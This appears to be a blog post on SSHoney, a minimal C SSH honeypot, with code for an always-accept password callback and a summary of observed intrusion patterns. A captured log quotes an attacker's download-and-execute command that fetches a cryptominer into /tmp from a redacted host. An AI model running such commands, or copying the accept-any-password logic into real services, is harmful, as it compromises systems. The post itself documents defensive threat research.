Building an SSH honeypot in C

SSHoney captures attacker credentials, commands, and session behavior in a lightweight C implementation — what I learned from watching real intrusion attempts.

Honeypots are the simplest form of deception-based defense. SSHoney presents a convincing SSH login prompt, accepts any credentials, and logs everything the attacker does in a sandboxed environment.

The implementation is deliberately minimal — a single C binary with no dependencies beyond libssh. It binds to port 22 (or any configured port), handles the SSH handshake, and funnels all session activity to structured logs.

static int auth_password(ssh_session session,
                         const char *user,
                         const char *pass,
                         void *userdata) {
    log_attempt(user, pass, get_client_ip(session));

    // Always accept — let them in to see what they do
    return SSH_AUTH_SUCCESS;
}

What attackers actually do

After running SSHoney on a public-facing VPS for two weeks, patterns emerged quickly:

Credential stuffing — Automated scanners trying root:root, admin:password, ubuntu:ubuntu in rapid succession. These account for ~95% of all connections.
Cryptominers — Successful logins immediately download and execute XMRig or similar. Usually from a compromised web server hosting the payload.
Botnet recruitment — Mirai variants checking architecture with uname -m then fetching the appropriate binary.
Manual operators — Rare but interesting. These check whoami, id, look at /etc/passwd, and probe for lateral movement options.

[2024-09-08 03:14:22] 45.xx.xx.xx | root:admin123 | ACCEPTED
[2024-09-08 03:14:24] CMD: uname -a
[2024-09-08 03:14:25] CMD: cd /tmp; wget http://[redacted]/xmr; chmod +x xmr; ./xmr
[2024-09-08 03:14:26] CMD: crontab -l

The data feeds directly into threat intelligence — harvested credentials map attacker dictionaries, download URLs reveal infrastructure, and command sequences fingerprint malware families.

Source: github.com/ThomasNJordan/SSHoney